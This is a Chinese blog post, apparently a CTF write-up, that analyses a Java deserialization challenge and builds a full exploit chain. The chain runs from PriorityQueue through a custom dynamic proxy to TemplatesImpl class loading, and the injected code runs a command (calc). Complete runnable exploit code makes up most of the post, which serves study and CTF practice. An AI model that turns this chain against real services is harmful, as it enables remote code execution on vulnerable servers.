最近简单看了看7u21这条原生反序列化链,分析到链子中的动态代理部分时,突然想起来这里还有一道和动态代理相关的题目没有复现,于是花了点时间梳理了一下。其中找反序列化入口的地方卡了很久,还是对各种链子不太熟悉。。。

源码分析

主要代码如下,存在一个Controller能够反序列化十六进制字符串

@Controller
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/warmup"})
    public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
        byte[] b = Utils.hexStringToBytes(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "index";
    }
}

还实现了一个动态代理类MyInvocationHandler,其中invoke方法能够依次反射调用属性type类中的方法。其中调用的代理方法需要有至少一个参数来作为invoke的参数,否则会抛出异常。

package com.example.warmup;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class MyInvocationHandler implements InvocationHandler, Serializable {
    private Class type;

    public MyInvocationHandler() {
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Method[] methods = this.type.getDeclaredMethods();
        Method[] var5 = methods;
        int var6 = methods.length;

        for(int var7 = 0; var7 < var6; ++var7) {
            Method xmethod = var5[var7];
            xmethod.invoke(args[0]);
        }

        return null;
    }
}

jar包中没什么可以利用的依赖,存在漏洞的只有一个sankeyaml1.29包,但没法利用。那么可能是结合动态代理打原生链子了。

利用链构造

构造任意类加载

不论是7u21还是CC链,链子的后半段都用到了TemplatesImpl这个原生类,通过一系列构造能够实现任意类加载,具体的原理这里就不仔细分析了,网上很多

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

public static TemplatesImpl generateEvilTemplates() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass cc = pool.makeClass("Cat");
    String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
    // 创建 static 代码块,并插入代码
    cc.makeClassInitializer().insertBefore(cmd);
    String randomClassName = "EvilCat" + System.nanoTime();
    cc.setName(randomClassName);
    cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    // 转换为bytes
    byte[] classBytes = cc.toBytecode();
    byte[][] targetByteCodes = new byte[][]{classBytes};
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setFieldValue(templates, "_bytecodes", targetByteCodes);
    // 进入 defineTransletClasses() 方法需要的条件
    setFieldValue(templates, "_name", "name" + System.nanoTime());
    setFieldValue(templates, "_class", null);
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


    return templates;
}

这里使用了javassist来构造一个恶意类。而最终只要我们能够调用到TemplatesImplgetOutputProperties或者newTransformer方法即可实现类加载。调用链如下

TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])

那么如何能够调用这两个方法呢?可以依靠题目中给出的动态代理

触发动态代理

动态代理会依次调用type类中的无参方法

public class MyInvocationHandler implements InvocationHandler, Serializable {
    private Class type;

    public MyInvocationHandler() {
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Method[] methods = this.type.getDeclaredMethods();
        Method[] var5 = methods;
        int var6 = methods.length;

        for(int var7 = 0; var7 < var6; ++var7) {
            Method xmethod = var5[var7];
            xmethod.invoke(args[0]);
        }

        return null;
    }
}

我们可以给属性type赋值为Templates类,这样可以保证首先会调用到getOutputProperties或者newTransformer方法而不会抛出异常

public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}

下面可以构造出后半部分的链子了

import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class EXP {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static TemplatesImpl generateEvilTemplates() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换为bytes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        return templates;
    }


    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = generateEvilTemplates();

        //反射修改type属性值为Templates
        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        Class c = myInvocationHandler.getClass();
        Field type = c.getDeclaredField("type");
        type.setAccessible(true);
        type.set(myInvocationHandler,Templates.class);

        //代理接口为Comparator,便于后续调用compare方法
        Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);
        
        proxy.equals(generateEvilTemplates());
        proxy.compare(generateEvilTemplates());
    }
}

最后我们只要保证调用的代理类方法有参,且第一个参数是我们的恶意TemplatesImpl即可

下一步就是寻找反序列化入口了

寻找反序列化入口点

一般来说,我们在构造利用链的时候有以下几个常用的反序列化入口

HashMap.readObject() -> ... -> XXX.hashCode() -> ...
HashMap.readObject() -> ... -> XXX.equals() -> ...
... -> XXX.toString() -> ...
PriorityQueue.readObject() -> ... -> Comparator.compare() -> ...

由于我们需要调用代理类的一个有参方法,因此这里可供选择的有equals方法和compare方法。我们先来看看能否使用equals方法作为入口点。

这里我以最常用的HashMap集合类为例,在其putVal方法中调用了equals方法

    final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                ....
    }

这里我们只需要将key赋值为代理类,将k赋值为恶意TemplatesImpl即可。调用链如下

HashMap#readObject ->
HashMap#hash & HashMap#putVal ->
proxy.equals(TemplatesImpl)

但实际执行会抛出如下空指针异常

原因是hashcode方法同样会触发动态代理,但由于hashcode无参,而invoke至少需要一个参数,因此会报空指针异常

事实上,不论是HashMap,还是HashSet等其他Hash集合类(实际上很多Hash集合类底层实现都是HashMap),在调用equals方法进行元素比较前,都一定会调用hashcode方法计算元素的hash值来保证元素的唯一性。

//HashMap#readObject中的putVal

putVal(hash(key), key, value, false, false); 


static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

因此对于几个常用的集合类,在调用链调用equals方法之前,很难绕过hashcode这一方法。

而在7u21这条链子中同样用到了动态代理,其动态代理类为原生的AnnotationInvocationHandler,并且其对于hashcodetoString等方法都进行了单独处理。

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        byte var7 = -1;
        switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
        }
        switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
...
        }
    }
}

既然equals方法无法利用,那么我们可以看看Comparator#compare方法。在CC4中我们也曾利用该方法作为反序列化入口

CC4

我们直接跟到PriorityQueue#siftDownUsingComparator

    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

这里存在可控的compare方法,并且comparator属性和参数x我们都可以控制。其中x参数的赋值处在PriorityQueue#heapify方法中,只需控制属性queue的值即可

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

构造时由于PriorityQueue#add方法也会触发compare方法,因此这里我们最后再通过反射修改属性值

//初始化属性comparator为proxy类
PriorityQueue priorityQueue = new PriorityQueue(2);


priorityQueue.add(1);
priorityQueue.add(2);
Object[] queue = {templates,templates};

setFieldValue(priorityQueue,"comparator",proxy);
setFieldValue(priorityQueue,"queue",queue);

serialize(priorityQueue);

完整EXP

构造链如下

PriorityQueue#readObject() ->
PriorityQueue#heapify() ->
PriorityQueue#siftDown()->
PriorityQueue#siftDownUsingComparator() ->
proxy.compare(TemplatesImpl) ->
MyInvocationHandler#invoke() ->
TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])

EXP

import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class EXP {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


    public static TemplatesImpl generateEvilTemplates() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换为bytes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        return templates;
    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }

    public static String bytesTohexString(String s) throws IOException {
        File file = new File(s);
        FileInputStream fis = new FileInputStream(file);
        byte[] bytes = new byte[(int) file.length()];
        fis.read(bytes);

        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);

            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }

            return ret.toString();
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = generateEvilTemplates();

        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        Class c = myInvocationHandler.getClass();
        Field type = c.getDeclaredField("type");
        type.setAccessible(true);
        type.set(myInvocationHandler,Templates.class);

        //代理接口为Comparator,便于后续调用compare方法
        Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);

        //初始化属性comparator为proxy类
        PriorityQueue priorityQueue = new PriorityQueue(2);


        priorityQueue.add(1);
        priorityQueue.add(2);
        Object[] queue = {templates,templates};

        setFieldValue(priorityQueue,"comparator",proxy);
        setFieldValue(priorityQueue,"queue",queue);

        serialize(priorityQueue);
//        unserialize("ser.bin");
        System.out.println(bytesTohexString("ser.bin"));
    }
}

评论

  1. yangsir
    Windows Chrome 96.0.4664.45
    2年前
    2022-4-29 20:56:16

    兄弟,这个java的有writeup吗可以分享一下下嘛

    • 博主
      yangsir
      Windows Firefox 99.0
      2年前
      2022-4-30 11:52:24

      没呀,网上都找不到这题的wp

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇